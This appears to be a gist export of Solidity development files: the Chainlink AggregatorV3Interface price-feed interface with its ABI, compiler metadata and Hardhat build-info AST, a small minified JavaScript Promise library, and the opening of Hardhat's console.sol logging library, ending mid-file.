uint256 startedAt, | |
uint256 updatedAt, | |
uint80 answeredInRound | |
); | |
} |
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.0; | |
interface AggregatorV3Interface { | |
function decimals() external view returns (uint8); | |
function description() external view returns (string memory); | |
function version() external view returns (uint256); | |
function getRoundData( | |
uint80 _roundId | |
) external view returns (uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound); | |
function latestRoundData() | |
external | |
view | |
returns (uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound); | |
} |
{ | |
"deploy": { | |
"VM:-": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"main:1": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"ropsten:3": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"rinkeby:4": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"kovan:42": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"goerli:5": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"Custom": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
} | |
}, | |
"data": { | |
"bytecode": { | |
"functionDebugData": {}, | |
"generatedSources": [], | |
"linkReferences": {}, | |
"object": "", | |
"opcodes": "", | |
"sourceMap": "" | |
}, | |
"deployedBytecode": { | |
"functionDebugData": {}, | |
"generatedSources": [], | |
"immutableReferences": {}, | |
"linkReferences": {}, | |
"object": "", | |
"opcodes": "", | |
"sourceMap": "" | |
}, | |
"gasEstimates": null, | |
"methodIdentifiers": { | |
"decimals()": "313ce567", | |
"description()": "7284e416", | |
"getRoundData(uint80)": "9a6fc8f5", | |
"latestRoundData()": "feaf968c", | |
"version()": "54fd4d50" | |
} | |
}, | |
"abi": [ | |
{ | |
"inputs": [], | |
"name": "decimals", | |
"outputs": [ | |
{ | |
"internalType": "uint8", | |
"name": "", | |
"type": "uint8" | |
} | |
], | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"inputs": [], | |
"name": "description", | |
"outputs": [ | |
{ | |
"internalType": "string", | |
"name": "", | |
"type": "string" | |
} | |
], | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"inputs": [ | |
{ | |
"internalType": "uint80", | |
"name": "_roundId", | |
"type": "uint80" | |
} | |
], | |
"name": "getRoundData", | |
"outputs": [ | |
{ | |
"internalType": "uint80", | |
"name": "roundId", | |
"type": "uint80" | |
}, | |
{ | |
"internalType": "int256", | |
"name": "answer", | |
"type": "int256" | |
}, | |
{ | |
"internalType": "uint256", | |
"name": "startedAt", | |
"type": "uint256" | |
}, | |
{ | |
"internalType": "uint256", | |
"name": "updatedAt", | |
"type": "uint256" | |
}, | |
{ | |
"internalType": "uint80", | |
"name": "answeredInRound", | |
"type": "uint80" | |
} | |
], | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"inputs": [], | |
"name": "latestRoundData", | |
"outputs": [ | |
{ | |
"internalType": "uint80", | |
"name": "roundId", | |
"type": "uint80" | |
}, | |
{ | |
"internalType": "int256", | |
"name": "answer", | |
"type": "int256" | |
}, | |
{ | |
"internalType": "uint256", | |
"name": "startedAt", | |
"type": "uint256" | |
}, | |
{ | |
"internalType": "uint256", | |
"name": "updatedAt", | |
"type": "uint256" | |
}, | |
{ | |
"internalType": "uint80", | |
"name": "answeredInRound", | |
"type": "uint80" | |
} | |
], | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"inputs": [], | |
"name": "version", | |
"outputs": [ | |
{ | |
"internalType": "uint256", | |
"name": "", | |
"type": "uint256" | |
} | |
], | |
"stateMutability": "view", | |
"type": "function" | |
} | |
] | |
} |
{ | |
"compiler": { | |
"version": "0.8.20+commit.a1b79de6" | |
}, | |
"language": "Solidity", | |
"output": { | |
"abi": [ | |
{ | |
"inputs": [], | |
"name": "decimals", | |
"outputs": [ | |
{ | |
"internalType": "uint8", | |
"name": "", | |
"type": "uint8" | |
} | |
], | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"inputs": [], | |
"name": "description", | |
"outputs": [ | |
{ | |
"internalType": "string", | |
"name": "", | |
"type": "string" | |
} | |
], | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"inputs": [ | |
{ | |
"internalType": "uint80", | |
"name": "_roundId", | |
"type": "uint80" | |
} | |
], | |
"name": "getRoundData", | |
"outputs": [ | |
{ | |
"internalType": "uint80", | |
"name": "roundId", | |
"type": "uint80" | |
}, | |
{ | |
"internalType": "int256", | |
"name": "answer", | |
"type": "int256" | |
}, | |
{ | |
"internalType": "uint256", | |
"name": "startedAt", | |
"type": "uint256" | |
}, | |
{ | |
"internalType": "uint256", | |
"name": "updatedAt", | |
"type": "uint256" | |
}, | |
{ | |
"internalType": "uint80", | |
"name": "answeredInRound", | |
"type": "uint80" | |
} | |
], | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"inputs": [], | |
"name": "latestRoundData", | |
"outputs": [ | |
{ | |
"internalType": "uint80", | |
"name": "roundId", | |
"type": "uint80" | |
}, | |
{ | |
"internalType": "int256", | |
"name": "answer", | |
"type": "int256" | |
}, | |
{ | |
"internalType": "uint256", | |
"name": "startedAt", | |
"type": "uint256" | |
}, | |
{ | |
"internalType": "uint256", | |
"name": "updatedAt", | |
"type": "uint256" | |
}, | |
{ | |
"internalType": "uint80", | |
"name": "answeredInRound", | |
"type": "uint80" | |
} | |
], | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"inputs": [], | |
"name": "version", | |
"outputs": [ | |
{ | |
"internalType": "uint256", | |
"name": "", | |
"type": "uint256" | |
} | |
], | |
"stateMutability": "view", | |
"type": "function" | |
} | |
], | |
"devdoc": { | |
"kind": "dev", | |
"methods": {}, | |
"version": 1 | |
}, | |
"userdoc": { | |
"kind": "user", | |
"methods": {}, | |
"version": 1 | |
} | |
}, | |
"settings": { | |
"compilationTarget": { | |
".deps/github/smartcontractkit/chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol": "AggregatorV3Interface" | |
}, | |
"evmVersion": "shanghai", | |
"libraries": {}, | |
"metadata": { | |
"bytecodeHash": "ipfs" | |
}, | |
"optimizer": { | |
"enabled": true, | |
"runs": 200 | |
}, | |
"remappings": [] | |
}, | |
"sources": { | |
".deps/github/smartcontractkit/chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol": { | |
"keccak256": "0xfe4e8bb4861bb3860ba890ab91a3b818ec66e5a8f544fb608cfcb73f433472cd", | |
"license": "MIT", | |
"urls": [ | |
"bzz-raw://644cff84052e1e82b5bb502b2a46e8f142a62b0db4cd9b38200798ba8373c6f7", | |
"dweb:/ipfs/QmTa99QHrJBn3SXDizquPBUiTxVCNKQrHgaWJhuds5Sce2" | |
] | |
} | |
}, | |
"version": 1 | |
} |
{ | |
"id": "d4dcc62e234c3ba7ec19d0963023daf0", | |
"_format": "hh-sol-build-info-1", | |
"solcVersion": "0.8.20", | |
"solcLongVersion": "0.8.20+commit.a1b79de6", | |
"input": { | |
"language": "Solidity", | |
"settings": { | |
"optimizer": { | |
"enabled": true, | |
"runs": 200 | |
}, | |
"outputSelection": { | |
"*": { | |
"": [ | |
"ast" | |
], | |
"*": [ | |
"abi", | |
"metadata", | |
"devdoc", | |
"userdoc", | |
"storageLayout", | |
"evm.legacyAssembly", | |
"evm.bytecode", | |
"evm.deployedBytecode", | |
"evm.methodIdentifiers", | |
"evm.gasEstimates", | |
"evm.assembly" | |
] | |
} | |
} | |
}, | |
"sources": { | |
".deps/github/smartcontractkit/chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol": { | |
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface AggregatorV3Interface {\n function decimals() external view returns (uint8);\n\n function description() external view returns (string memory);\n\n function version() external view returns (uint256);\n\n function getRoundData(\n uint80 _roundId\n ) external view returns (uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound);\n\n function latestRoundData()\n external\n view\n returns (uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound);\n}\n" | |
} | |
} | |
}, | |
"output": { | |
"contracts": { | |
".deps/github/smartcontractkit/chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol": { | |
"AggregatorV3Interface": { | |
"abi": [ | |
{ | |
"inputs": [], | |
"name": "decimals", | |
"outputs": [ | |
{ | |
"internalType": "uint8", | |
"name": "", | |
"type": "uint8" | |
} | |
], | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"inputs": [], | |
"name": "description", | |
"outputs": [ | |
{ | |
"internalType": "string", | |
"name": "", | |
"type": "string" | |
} | |
], | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"inputs": [ | |
{ | |
"internalType": "uint80", | |
"name": "_roundId", | |
"type": "uint80" | |
} | |
], | |
"name": "getRoundData", | |
"outputs": [ | |
{ | |
"internalType": "uint80", | |
"name": "roundId", | |
"type": "uint80" | |
}, | |
{ | |
"internalType": "int256", | |
"name": "answer", | |
"type": "int256" | |
}, | |
{ | |
"internalType": "uint256", | |
"name": "startedAt", | |
"type": "uint256" | |
}, | |
{ | |
"internalType": "uint256", | |
"name": "updatedAt", | |
"type": "uint256" | |
}, | |
{ | |
"internalType": "uint80", | |
"name": "answeredInRound", | |
"type": "uint80" | |
} | |
], | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"inputs": [], | |
"name": "latestRoundData", | |
"outputs": [ | |
{ | |
"internalType": "uint80", | |
"name": "roundId", | |
"type": "uint80" | |
}, | |
{ | |
"internalType": "int256", | |
"name": "answer", | |
"type": "int256" | |
}, | |
{ | |
"internalType": "uint256", | |
"name": "startedAt", | |
"type": "uint256" | |
}, | |
{ | |
"internalType": "uint256", | |
"name": "updatedAt", | |
"type": "uint256" | |
}, | |
{ | |
"internalType": "uint80", | |
"name": "answeredInRound", | |
"type": "uint80" | |
} | |
], | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"inputs": [], | |
"name": "version", | |
"outputs": [ | |
{ | |
"internalType": "uint256", | |
"name": "", | |
"type": "uint256" | |
} | |
], | |
"stateMutability": "view", | |
"type": "function" | |
} | |
], | |
"devdoc": { | |
"kind": "dev", | |
"methods": {}, | |
"version": 1 | |
}, | |
"evm": { | |
"assembly": "", | |
"bytecode": { | |
"functionDebugData": {}, | |
"generatedSources": [], | |
"linkReferences": {}, | |
"object": "", | |
"opcodes": "", | |
"sourceMap": "" | |
}, | |
"deployedBytecode": { | |
"functionDebugData": {}, | |
"generatedSources": [], | |
"immutableReferences": {}, | |
"linkReferences": {}, | |
"object": "", | |
"opcodes": "", | |
"sourceMap": "" | |
}, | |
"gasEstimates": null, | |
"legacyAssembly": null, | |
"methodIdentifiers": { | |
"decimals()": "313ce567", | |
"description()": "7284e416", | |
"getRoundData(uint80)": "9a6fc8f5", | |
"latestRoundData()": "feaf968c", | |
"version()": "54fd4d50" | |
} | |
}, | |
"metadata": "{\"compiler\":{\"version\":\"0.8.20+commit.a1b79de6\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[],\"name\":\"decimals\",\"outputs\":[{\"internalType\":\"uint8\",\"name\":\"\",\"type\":\"uint8\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"description\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint80\",\"name\":\"_roundId\",\"type\":\"uint80\"}],\"name\":\"getRoundData\",\"outputs\":[{\"internalType\":\"uint80\",\"name\":\"roundId\",\"type\":\"uint80\"},{\"internalType\":\"int256\",\"name\":\"answer\",\"type\":\"int256\"},{\"internalType\":\"uint256\",\"name\":\"startedAt\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"updatedAt\",\"type\":\"uint256\"},{\"internalType\":\"uint80\",\"name\":\"answeredInRound\",\"type\":\"uint80\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"latestRoundData\",\"outputs\":[{\"internalType\":\"uint80\",\"name\":\"roundId\",\"type\":\"uint80\"},{\"internalType\":\"int256\",\"name\":\"answer\",\"type\":\"int256\"},{\"internalType\":\"uint256\",\"name\":\"startedAt\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"updatedAt\",\"type\":\"uint256\"},{\"internalType\":\"uint80\",\"name\":\"answeredInRound\",\"type\":\"uint80\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"version\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\".deps/github/smartcontractkit/chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol\":\"AggregatorV3Interface\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":200},\"remappings\":[]},\"sources\":{\".deps/github/smartcontractkit/chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol\":{\"keccak256\":\"0xfe4e8bb4861bb3860ba890ab91a3b818ec66e5a8f544fb608cfcb73f433472cd\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://644cff84052e1e82b5bb502b2a46e8f142a62b0db4cd9b38200798ba8373c6f7\",\"dweb:/ipfs/QmTa99QHrJBn3SXDizquPBUiTxVCNKQrHgaWJhuds5Sce2\"]}},\"version\":1}", | |
"storageLayout": { | |
"storage": [], | |
"types": null | |
}, | |
"userdoc": { | |
"kind": "user", | |
"methods": {}, | |
"version": 1 | |
} | |
} | |
} | |
}, | |
"sources": { | |
".deps/github/smartcontractkit/chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol": { | |
"ast": { | |
"absolutePath": ".deps/github/smartcontractkit/chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol", | |
"exportedSymbols": { | |
"AggregatorV3Interface": [ | |
45 | |
] | |
}, | |
"id": 46, | |
"license": "MIT", | |
"nodeType": "SourceUnit", | |
"nodes": [ | |
{ | |
"id": 1, | |
"literals": [ | |
"solidity", | |
"^", | |
"0.8", | |
".0" | |
], | |
"nodeType": "PragmaDirective", | |
"src": "32:23:0" | |
}, | |
{ | |
"abstract": false, | |
"baseContracts": [], | |
"canonicalName": "AggregatorV3Interface", | |
"contractDependencies": [], | |
"contractKind": "interface", | |
"fullyImplemented": false, | |
"id": 45, | |
"linearizedBaseContracts": [ | |
45 | |
], | |
"name": "AggregatorV3Interface", | |
"nameLocation": "67:21:0", | |
"nodeType": "ContractDefinition", | |
"nodes": [ | |
{ | |
"functionSelector": "313ce567", | |
"id": 6, | |
"implemented": false, | |
"kind": "function", | |
"modifiers": [], | |
"name": "decimals", | |
"nameLocation": "102:8:0", | |
"nodeType": "FunctionDefinition", | |
"parameters": { | |
"id": 2, | |
"nodeType": "ParameterList", | |
"parameters": [], | |
"src": "110:2:0" | |
}, | |
"returnParameters": { | |
"id": 5, | |
"nodeType": "ParameterList", | |
"parameters": [ | |
{ | |
"constant": false, | |
"id": 4, | |
"mutability": "mutable", | |
"name": "", | |
"nameLocation": "-1:-1:-1", | |
"nodeType": "VariableDeclaration", | |
"scope": 6, | |
"src": "136:5:0", | |
"stateVariable": false, | |
"storageLocation": "default", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint8", | |
"typeString": "uint8" | |
}, | |
"typeName": { | |
"id": 3, | |
"name": "uint8", | |
"nodeType": "ElementaryTypeName", | |
"src": "136:5:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint8", | |
"typeString": "uint8" | |
} | |
}, | |
"visibility": "internal" | |
} | |
], | |
"src": "135:7:0" | |
}, | |
"scope": 45, | |
"src": "93:50:0", | |
"stateMutability": "view", | |
"virtual": false, | |
"visibility": "external" | |
}, | |
{ | |
"functionSelector": "7284e416", | |
"id": 11, | |
"implemented": false, | |
"kind": "function", | |
"modifiers": [], | |
"name": "description", | |
"nameLocation": "156:11:0", | |
"nodeType": "FunctionDefinition", | |
"parameters": { | |
"id": 7, | |
"nodeType": "ParameterList", | |
"parameters": [], | |
"src": "167:2:0" | |
}, | |
"returnParameters": { | |
"id": 10, | |
"nodeType": "ParameterList", | |
"parameters": [ | |
{ | |
"constant": false, | |
"id": 9, | |
"mutability": "mutable", | |
"name": "", | |
"nameLocation": "-1:-1:-1", | |
"nodeType": "VariableDeclaration", | |
"scope": 11, | |
"src": "193:13:0", | |
"stateVariable": false, | |
"storageLocation": "memory", | |
"typeDescriptions": { | |
"typeIdentifier": "t_string_memory_ptr", | |
"typeString": "string" | |
}, | |
"typeName": { | |
"id": 8, | |
"name": "string", | |
"nodeType": "ElementaryTypeName", | |
"src": "193:6:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_string_storage_ptr", | |
"typeString": "string" | |
} | |
}, | |
"visibility": "internal" | |
} | |
], | |
"src": "192:15:0" | |
}, | |
"scope": 45, | |
"src": "147:61:0", | |
"stateMutability": "view", | |
"virtual": false, | |
"visibility": "external" | |
}, | |
{ | |
"functionSelector": "54fd4d50", | |
"id": 16, | |
"implemented": false, | |
"kind": "function", | |
"modifiers": [], | |
"name": "version", | |
"nameLocation": "221:7:0", | |
"nodeType": "FunctionDefinition", | |
"parameters": { | |
"id": 12, | |
"nodeType": "ParameterList", | |
"parameters": [], | |
"src": "228:2:0" | |
}, | |
"returnParameters": { | |
"id": 15, | |
"nodeType": "ParameterList", | |
"parameters": [ | |
{ | |
"constant": false, | |
"id": 14, | |
"mutability": "mutable", | |
"name": "", | |
"nameLocation": "-1:-1:-1", | |
"nodeType": "VariableDeclaration", | |
"scope": 16, | |
"src": "254:7:0", | |
"stateVariable": false, | |
"storageLocation": "default", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
}, | |
"typeName": { | |
"id": 13, | |
"name": "uint256", | |
"nodeType": "ElementaryTypeName", | |
"src": "254:7:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"visibility": "internal" | |
} | |
], | |
"src": "253:9:0" | |
}, | |
"scope": 45, | |
"src": "212:51:0", | |
"stateMutability": "view", | |
"virtual": false, | |
"visibility": "external" | |
}, | |
{ | |
"functionSelector": "9a6fc8f5", | |
"id": 31, | |
"implemented": false, | |
"kind": "function", | |
"modifiers": [], | |
"name": "getRoundData", | |
"nameLocation": "276:12:0", | |
"nodeType": "FunctionDefinition", | |
"parameters": { | |
"id": 19, | |
"nodeType": "ParameterList", | |
"parameters": [ | |
{ | |
"constant": false, | |
"id": 18, | |
"mutability": "mutable", | |
"name": "_roundId", | |
"nameLocation": "301:8:0", | |
"nodeType": "VariableDeclaration", | |
"scope": 31, | |
"src": "294:15:0", | |
"stateVariable": false, | |
"storageLocation": "default", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint80", | |
"typeString": "uint80" | |
}, | |
"typeName": { | |
"id": 17, | |
"name": "uint80", | |
"nodeType": "ElementaryTypeName", | |
"src": "294:6:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint80", | |
"typeString": "uint80" | |
} | |
}, | |
"visibility": "internal" | |
} | |
], | |
"src": "288:25:0" | |
}, | |
"returnParameters": { | |
"id": 30, | |
"nodeType": "ParameterList", | |
"parameters": [ | |
{ | |
"constant": false, | |
"id": 21, | |
"mutability": "mutable", | |
"name": "roundId", | |
"nameLocation": "344:7:0", | |
"nodeType": "VariableDeclaration", | |
"scope": 31, | |
"src": "337:14:0", | |
"stateVariable": false, | |
"storageLocation": "default", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint80", | |
"typeString": "uint80" | |
}, | |
"typeName": { | |
"id": 20, | |
"name": "uint80", | |
"nodeType": "ElementaryTypeName", | |
"src": "337:6:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint80", | |
"typeString": "uint80" | |
} | |
}, | |
"visibility": "internal" | |
}, | |
{ | |
"constant": false, | |
"id": 23, | |
"mutability": "mutable", | |
"name": "answer", | |
"nameLocation": "360:6:0", | |
"nodeType": "VariableDeclaration", | |
"scope": 31, | |
"src": "353:13:0", | |
"stateVariable": false, | |
"storageLocation": "default", | |
"typeDescriptions": { | |
"typeIdentifier": "t_int256", | |
"typeString": "int256" | |
}, | |
"typeName": { | |
"id": 22, | |
"name": "int256", | |
"nodeType": "ElementaryTypeName", | |
"src": "353:6:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_int256", | |
"typeString": "int256" | |
} | |
}, | |
"visibility": "internal" | |
}, | |
{ | |
"constant": false, | |
"id": 25, | |
"mutability": "mutable", | |
"name": "startedAt", | |
"nameLocation": "376:9:0", | |
"nodeType": "VariableDeclaration", | |
"scope": 31, | |
"src": "368:17:0", | |
"stateVariable": false, | |
"storageLocation": "default", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
}, | |
"typeName": { | |
"id": 24, | |
"name": "uint256", | |
"nodeType": "ElementaryTypeName", | |
"src": "368:7:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"visibility": "internal" | |
}, | |
{ | |
"constant": false, | |
"id": 27, | |
"mutability": "mutable", | |
"name": "updatedAt", | |
"nameLocation": "395:9:0", | |
"nodeType": "VariableDeclaration", | |
"scope": 31, | |
"src": "387:17:0", | |
"stateVariable": false, | |
"storageLocation": "default", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
}, | |
"typeName": { | |
"id": 26, | |
"name": "uint256", | |
"nodeType": "ElementaryTypeName", | |
"src": "387:7:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"visibility": "internal" | |
}, | |
{ | |
"constant": false, | |
"id": 29, | |
"mutability": "mutable", | |
"name": "answeredInRound", | |
"nameLocation": "413:15:0", | |
"nodeType": "VariableDeclaration", | |
"scope": 31, | |
"src": "406:22:0", | |
"stateVariable": false, | |
"storageLocation": "default", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint80", | |
"typeString": "uint80" | |
}, | |
"typeName": { | |
"id": 28, | |
"name": "uint80", | |
"nodeType": "ElementaryTypeName", | |
"src": "406:6:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint80", | |
"typeString": "uint80" | |
} | |
}, | |
"visibility": "internal" | |
} | |
], | |
"src": "336:93:0" | |
}, | |
"scope": 45, | |
"src": "267:163:0", | |
"stateMutability": "view", | |
"virtual": false, | |
"visibility": "external" | |
}, | |
{ | |
"functionSelector": "feaf968c", | |
"id": 44, | |
"implemented": false, | |
"kind": "function", | |
"modifiers": [], | |
"name": "latestRoundData", | |
"nameLocation": "443:15:0", | |
"nodeType": "FunctionDefinition", | |
"parameters": { | |
"id": 32, | |
"nodeType": "ParameterList", | |
"parameters": [], | |
"src": "458:2:0" | |
}, | |
"returnParameters": { | |
"id": 43, | |
"nodeType": "ParameterList", | |
"parameters": [ | |
{ | |
"constant": false, | |
"id": 34, | |
"mutability": "mutable", | |
"name": "roundId", | |
"nameLocation": "503:7:0", | |
"nodeType": "VariableDeclaration", | |
"scope": 44, | |
"src": "496:14:0", | |
"stateVariable": false, | |
"storageLocation": "default", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint80", | |
"typeString": "uint80" | |
}, | |
"typeName": { | |
"id": 33, | |
"name": "uint80", | |
"nodeType": "ElementaryTypeName", | |
"src": "496:6:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint80", | |
"typeString": "uint80" | |
} | |
}, | |
"visibility": "internal" | |
}, | |
{ | |
"constant": false, | |
"id": 36, | |
"mutability": "mutable", | |
"name": "answer", | |
"nameLocation": "519:6:0", | |
"nodeType": "VariableDeclaration", | |
"scope": 44, | |
"src": "512:13:0", | |
"stateVariable": false, | |
"storageLocation": "default", | |
"typeDescriptions": { | |
"typeIdentifier": "t_int256", | |
"typeString": "int256" | |
}, | |
"typeName": { | |
"id": 35, | |
"name": "int256", | |
"nodeType": "ElementaryTypeName", | |
"src": "512:6:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_int256", | |
"typeString": "int256" | |
} | |
}, | |
"visibility": "internal" | |
}, | |
{ | |
"constant": false, | |
"id": 38, | |
"mutability": "mutable", | |
"name": "startedAt", | |
"nameLocation": "535:9:0", | |
"nodeType": "VariableDeclaration", | |
"scope": 44, | |
"src": "527:17:0", | |
"stateVariable": false, | |
"storageLocation": "default", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
}, | |
"typeName": { | |
"id": 37, | |
"name": "uint256", | |
"nodeType": "ElementaryTypeName", | |
"src": "527:7:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"visibility": "internal" | |
}, | |
{ | |
"constant": false, | |
"id": 40, | |
"mutability": "mutable", | |
"name": "updatedAt", | |
"nameLocation": "554:9:0", | |
"nodeType": "VariableDeclaration", | |
"scope": 44, | |
"src": "546:17:0", | |
"stateVariable": false, | |
"storageLocation": "default", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
}, | |
"typeName": { | |
"id": 39, | |
"name": "uint256", | |
"nodeType": "ElementaryTypeName", | |
"src": "546:7:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"visibility": "internal" | |
}, | |
{ | |
"constant": false, | |
"id": 42, | |
"mutability": "mutable", | |
"name": "answeredInRound", | |
"nameLocation": "572:15:0", | |
"nodeType": "VariableDeclaration", | |
"scope": 44, | |
"src": "565:22:0", | |
"stateVariable": false, | |
"storageLocation": "default", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint80", | |
"typeString": "uint80" | |
}, | |
"typeName": { | |
"id": 41, | |
"name": "uint80", | |
"nodeType": "ElementaryTypeName", | |
"src": "565:6:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint80", | |
"typeString": "uint80" | |
} | |
}, | |
"visibility": "internal" | |
} | |
], | |
"src": "495:93:0" | |
}, | |
"scope": 45, | |
"src": "434:155:0", | |
"stateMutability": "view", | |
"virtual": false, | |
"visibility": "external" | |
} | |
], | |
"scope": 46, | |
"src": "57:534:0", | |
"usedErrors": [], | |
"usedEvents": [] | |
} | |
], | |
"src": "32:560:0" | |
}, | |
"id": 0 | |
} | |
} | |
} | |
} |
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.0; | |
interface AggregatorV3Interface { | |
function decimals() external view returns (uint8); | |
function description() external view returns (string memory); | |
function version() external view returns (uint256); | |
function getRoundData(uint80 _roundId) | |
external | |
view | |
returns ( | |
uint80 roundId, | |
int256 answer, | |
uint256 startedAt, | |
uint256 updatedAt, | |
uint80 answeredInRound | |
); | |
function latestRoundData() | |
external | |
view | |
returns ( | |
uint80 roundId, | |
int256 answer, | |
uint256 startedAt, | |
uint256 updatedAt, | |
uint80 answeredInRound | |
); | |
} |
/** | |
* Minified by jsDelivr using Terser v5.3.5. | |
* Original file: /npm/[email protected]/lib/A.js | |
* | |
* Do NOT use SRI with dynamically generated files! More information: https://www.jsdelivr.com/using-sri-with-dynamic-files | |
*/ | |
var Promise=function(){this.pending={success:[],failure:[],progress:[]},this.returnedPromise,this.complete=function(e,s){for(var t;t=e.shift();)s=t(s);this.returnedPromise&&this.returnedPromise.resolve(s),this.handled=e,this.resolve=this.reject=function(){throw new Error("Promise has been resolved")}}};Promise.prototype.then=function(e,s,t){return this.returnedPromise=new Promise,"function"==typeof e&&this.pending.success.push(e),"function"==typeof s&&this.pending.failure.push(s),"function"==typeof t&&this.pending.progress.push(t),this.handled&&this.complete(this.handled,this.value),this.returnedPromise},Promise.prototype.resolve=function(e){this.value=e,this.complete(this.pending.success,e)},Promise.prototype.reject=function(e){this.value=e,this.complete(this.pending.failure,e)},Promise.prototype.progress=function(e){var s,t=this.pending.progress;for(s in t)t[s](e)},exports.Promise=Promise; | |
//# sourceMappingURL=/sm/672644adcba0e5bfc09be1e8bdae3205e481f19638ae9fc67d03697c001fc7ca.map |
// SPDX-License-Identifier: MIT | |
pragma solidity >= 0.4.22 <0.9.0; | |
library console { | |
address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67); | |
function _sendLogPayload(bytes memory payload) private view { | |
uint256 payloadLength = payload.length; | |
address consoleAddress = CONSOLE_ADDRESS; | |
assembly { | |
let payloadStart := add(payload, 32) | |
let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0) | |
} | |
} | |
function log() internal view { | |
_sendLogPayload(abi.encodeWithSignature("log()")); | |
} | |
function logInt(int256 p0) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(int256)", p0)); | |
} | |
function logUint(uint256 p0) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(uint256)", p0)); | |
} | |
function logString(string memory p0) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(string)", p0)); | |
} | |
function logBool(bool p0) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); | |
} | |
function logAddress(address p0) internal view { | |
